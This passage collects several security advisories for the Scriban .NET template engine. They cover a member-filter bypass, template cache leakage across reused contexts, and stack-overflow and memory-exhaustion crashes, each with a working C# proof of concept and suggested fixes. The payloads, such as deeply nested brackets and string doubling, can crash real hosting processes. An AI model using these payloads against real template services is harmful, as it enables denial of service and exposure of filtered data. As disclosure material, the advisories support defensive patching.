uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression. The issue impacts: - Template-as-a-service systems - CMS or email rendering systems that accept user templates - Any multi-tenant use of Scriban with untrusted template content

## Summary `TemplateContext` caches type accessors by `Type` only, but those accessors are built using the current `MemberFilter` and `MemberRenamer`. When a `TemplateContext` is reused and the filter is tightened for a later render, Scriban still reuses the old accessor and continues exposing members that should now be hidden. ## Details The relevant code path is: - `TemplateContext.GetMemberAccessor()` caches accessors in `_memberAccessors` by `Type` in `src/Scriban/TemplateContext.cs` lines 850–863. - For plain .NET objects, `GetMemberAccessorImpl()` creates a new `TypedObjectAccessor(type, _keyComparer, MemberFilter, MemberRenamer)` in `src/Scriban/TemplateContext.cs` lines 909–939. - `TypedObjectAccessor` stores the current filter and precomputes the exposed member set in its constructor and `PrepareMembers()` in `src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs` lines 33–40 and 119–179. - Member access later goes through `ScriptMemberExpression.GetValue()` in `src/Scriban/Syntax/Expressions/ScriptMemberExpression.cs` lines 67–95, which uses the cached accessor. - `TemplateContext.Reset()` does **not** clear `_memberAccessors` in `src/Scriban/TemplateContext.cs` lines 877–902. As a result, once a permissive accessor has been created for a given type, changing `TemplateContext.MemberFilter` later does not take effect for that type on the same reused context. This is especially relevant because the Scriban docs explicitly recommend `TemplateContext.MemberFilter` for indirect .NET object exposure. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc2 cd scriban-poc2 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using System.Reflection; using Scriban; using Scriban.Runtime; var template = Template.Parse("{{ model.secret }}"); var context = new TemplateContext { EnableRelaxedMemberAccess = false }; var globals = new ScriptObject(); globals["model"] = new SensitiveModel(); context.PushGlobal(globals); context.MemberFilter = _ => true; Console.WriteLine("first=" + template.Render(context)); context.Reset(); var globals2 = new ScriptObject(); globals2["model"] = new SensitiveModel(); context.PushGlobal(globals2); context.MemberFilter = member => member.Name == nameof(SensitiveModel.Public); Console.WriteLine("second=" + template.Render(context)); sealed class SensitiveModel { public string Public => "ok"; public string Secret => "leaked"; } ``` ### Run ```bash dotnet run ``` ### Actual Output ``` first=leaked second=leaked ``` ### Expected Behavior The second render should fail or stop exposing `Secret`, because the filter only allows `Public` and `EnableRelaxedMemberAccess` is disabled. This reproduces a direct filter bypass caused by the stale cached accessor. --- ## Impact This is a protection-mechanism bypass. Applications that use `TemplateContext.MemberFilter` as part of their sandbox or object-exposure policy can unintentionally expose hidden members across requests when they reuse a `TemplateContext`. The impact includes: - Unauthorized read access to filtered properties or fields - Unauthorized writes if the filtered member also has a setter - Policy bypass across requests, users, or tenants when contexts are pooled

## Summary `TemplateContext.Reset()` claims that a `TemplateContext` can be reused safely on the same thread, but it does not clear `CachedTemplates`. If an application pools `TemplateContext` objects and uses an `ITemplateLoader` that resolves content per request, tenant, or user, a previously authorized include can be served to later renders without calling `TemplateLoader.Load()` again. ## Details The relevant code path is: - `TemplateContext.Reset()` only clears output, globals, cultures, and source files in `src/Scriban/TemplateContext.cs` lines 877–902. - `CachedTemplates` is initialized once and kept on the context in `src/Scriban/TemplateContext.cs` line 197. - `include` resolves templates through `IncludeFunction.Invoke()` in `src/Scriban/Functions/IncludeFunction.cs` lines 29–43. - `IncludeFunction.Invoke()` calls `TemplateContext.GetOrCreateTemplate()` in `src/Scriban/TemplateContext.cs` lines 1249–1256. - If a template path is already present in `CachedTemplates`, Scriban returns the cached compiled template and does **not** call `TemplateLoader.Load()` again. This becomes a security issue when `ITemplateLoader.Load()` returns request-dependent content. A first render can prime the cache with an admin-only or tenant-specific template, and later renders on the same reused `TemplateContext` will receive that stale template even after `Reset()`. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc1 cd scriban-poc1 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; using Scriban.Parsing; using Scriban.Runtime; var loader = new SwitchingLoader(); var context = new TemplateContext { TemplateLoader = loader, }; var template = Template.Parse("{{ include 'profile' }}"); loader.Content = "admin-only"; Console.WriteLine("first=" + template.Render(context)); context.Reset(); loader.Content = "guest-view"; Console.WriteLine("second=" + template.Render(context)); sealed class SwitchingLoader : ITemplateLoader { public string Content { get; set; } = string.Empty; public string GetPath(TemplateContext context, SourceSpan callerSpan, string templateName) => templateName; public string Load(TemplateContext context, SourceSpan callerSpan, string templatePath) => Content; public ValueTask<string> LoadAsync(TemplateContext context, SourceSpan callerSpan, string templatePath) => new(Content); } ``` ### Run ```bash dotnet run ``` ### Actual Output ``` first=admin-only second=admin-only ``` ### Expected Output ``` first=admin-only second=guest-view ``` The second render should reload the template after `Reset()`, but it instead reuses the cached compiled template from the previous render. --- ## Impact This is a cross-render data isolation issue. Any application that reuses `TemplateContext` objects and uses a request-dependent `ITemplateLoader` can leak previously authorized template content across requests, users, or tenants. The issue impacts applications that: - Pool or reuse `TemplateContext` - Call `Reset()` between requests - Use `include` - Resolve include content based on request-specific state

### Summary StackOverflowException via nested array initializers bypasses ExpressionDepthLimit fix (GHSA-wgh7-7m3c-fx25) ### Details The recent fix for GHSA-wgh7-7m3c-fx25 (uncontrolled recursion in parser) added `ExpressionDepthLimit` defaulting to 250. However, deeply nested **array initializers** (`[[[[...`) recurse through `ParseArrayInitializer` → `ParseExpression` → `ParseArrayInitializer`, which is a **different recursion path** not covered by the expression depth counter. This causes a `StackOverflowException` on current main (commit b5ac4bf - "Add limits for default safety"). ### PoC ``` using Scriban; // ExpressionDepthLimit (default 250) does NOT prevent this crash string nested = "{{ " + new string('[', 5000) + "1" + new string(']', 5000) + " }}"; Template.Parse(nested); // StackOverflowException - process terminates ``` ### Impact Same as GHSA-wgh7-7m3c-fx25: High severity. StackOverflowException cannot be caught with try/catch in .NET - the process terminates immediately. Any application calling Template.Parse with untrusted input is vulnerable, even with the new default ExpressionDepthLimit enabled.

`TemplateContext.LimitToString` defaults to `0` (unlimited). While Scriban implements a default `LoopLimit` of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth. **Proof of Concept (PoC):** The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process. ```csharp using Scriban; string maliciousTemplate = @" {{ a = ""A"" for i in 1..30 a = a + a end a }}"; var template = Template.Parse(maliciousTemplate); var context = new TemplateContext(); try { template.Render(context); } catch (Exception ex) { Console.WriteLine("\nException: " + ex.Message); } ``` **Impact:** An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS). **Suggested Fix:** Enforce a sensible default limit for string output. Set default `LimitToString` to 1MB (1,048,576 characters). ```csharp public int LimitToString { get; set; } = 1048576; ```

When Scriban renders an object that contains a circular reference, it traverses the object's members infinitely. Because the `ObjectRecursionLimit` property defaults to unlimited, this behavior exhausts the thread's stack space, triggering an uncatchable `StackOverflowException` that immediately terminates the hosting process. When rendering objects (e.g., `{{ obj }}`), the Scriban rendering engine recursively inspects and formats the object's properties. To prevent infinite loops caused by deeply nested or circular data structures, `TemplateContext` contains an `ObjectRecursionLimit` property. However, this property currently defaults to `0` (unlimited). If the data context pushed into the template contains a circular reference, the renderer will recurse indefinitely. This is especially dangerous for web applications that map user-controlled payloads (like JSON) directly to rendering contexts, or for applications that pass ORM objects (like Entity Framework models, which frequently contain circular navigation properties) into the template. #### Proof of Concept (PoC) The following C# code demonstrates the vulnerability. Executing this will cause an immediate, fatal `StackOverflowException`, bypassing any standard error handling. ```csharp using Scriban; using Scriban.Runtime; var template = Template.Parse("{{ a }}"); var context = new TemplateContext(); var a = new ScriptObject(); // Introduce a cycle a["self"] = a; context.PushGlobal(new ScriptObject { { "a", a } }); try { // This crashes the entire process immediately template.Render(context); } catch (Exception ex) { // This will never execute because StackOverflowException Console.WriteLine("Caught exception: " + ex.Message); } ``` #### Impact This vulnerability allows a Denial of Service (DoS) attack. If a malicious user can manipulate the data structure passed to the renderer to include a cyclic reference, or if the application passes a complex object graph to an untrusted template, the entire .NET hosting process will crash. #### Suggested Remediation Update `TemplateContext.cs` to set `ObjectRecursionLimit` to a safe default, such as `20`. ```csharp public int ObjectRecursionLimit { get; set; } = 20; ``` By implementing this default, circular references will gracefully result in a catchable `ScriptRuntimeException` rather than a fatal process crash.

Scriban is vulnerable to an uncontrolled process crash resulting in a Denial of Service. Because the recursive-descent parser does not enforce a default limit on expression depth, an attacker who controls template input can craft a heavily nested template that triggers a `StackOverflowException`. In .NET, a `StackOverflowException` cannot be caught by standard `try-catch` blocks, resulting in the immediate and ungraceful termination of the entire hosting process. Scriban utilizes a recursive-descent parser to process template expressions. While the library exposes an `ExpressionDepthLimit` property in its `ParserOptions`, this property defaults to `null` (disabled). If an application accepts user-supplied templates (or dynamically constructs templates from untrusted input), an attacker can supply thousands of nested parentheses or blocks. As the parser recursively evaluates each nested layer, it consumes thread stack space until it exceeds the limits of the host OS, triggering a fatal crash. #### Impact An attacker can supply crafted input that triggers a `StackOverflowException`, causing immediate termination of the hosting process and resulting in a Denial of Service. In applications that process untrusted or user-controlled templates (e.g., web applications or APIs), this can be exploited remotely without authentication. The failure is not recoverable, requiring a full process restart and leading to service disruption. #### Proof of Concept (PoC) The following C# code demonstrates the vulnerability. Executing this code will immediately terminate the application process. ```csharp using Scriban; // Creates a deeply nested expression: (((( ... (1) ... )))) string nested = new string('(', 10000) + "1" + new string(')', 10000); try { // This will crash the entire process immediately Scriban.Template.Parse("{{ " + nested + " }}"); } catch (Exception ex) { // This catch block will never execute because StackOverflowException Console.WriteLine("Caught exception: " + ex.Message); } ``` #### Suggested Remediation Update the `ParserOptions` constructor (or the internal parser initialization) to set a default value for `ExpressionDepthLimit`. A limit of `1000` (or even lower, such as `250` or `500`) is generally more than enough for legitimate templates while safely preventing stack exhaustion. ```csharp public int? ExpressionDepthLimit { get; set; } = 250; ``` Alternatively, document the risk heavily and warn developers to manually set `ExpressionDepthLimit` if evaluating untrusted templates, though a secure-by-default approach is strongly preferred.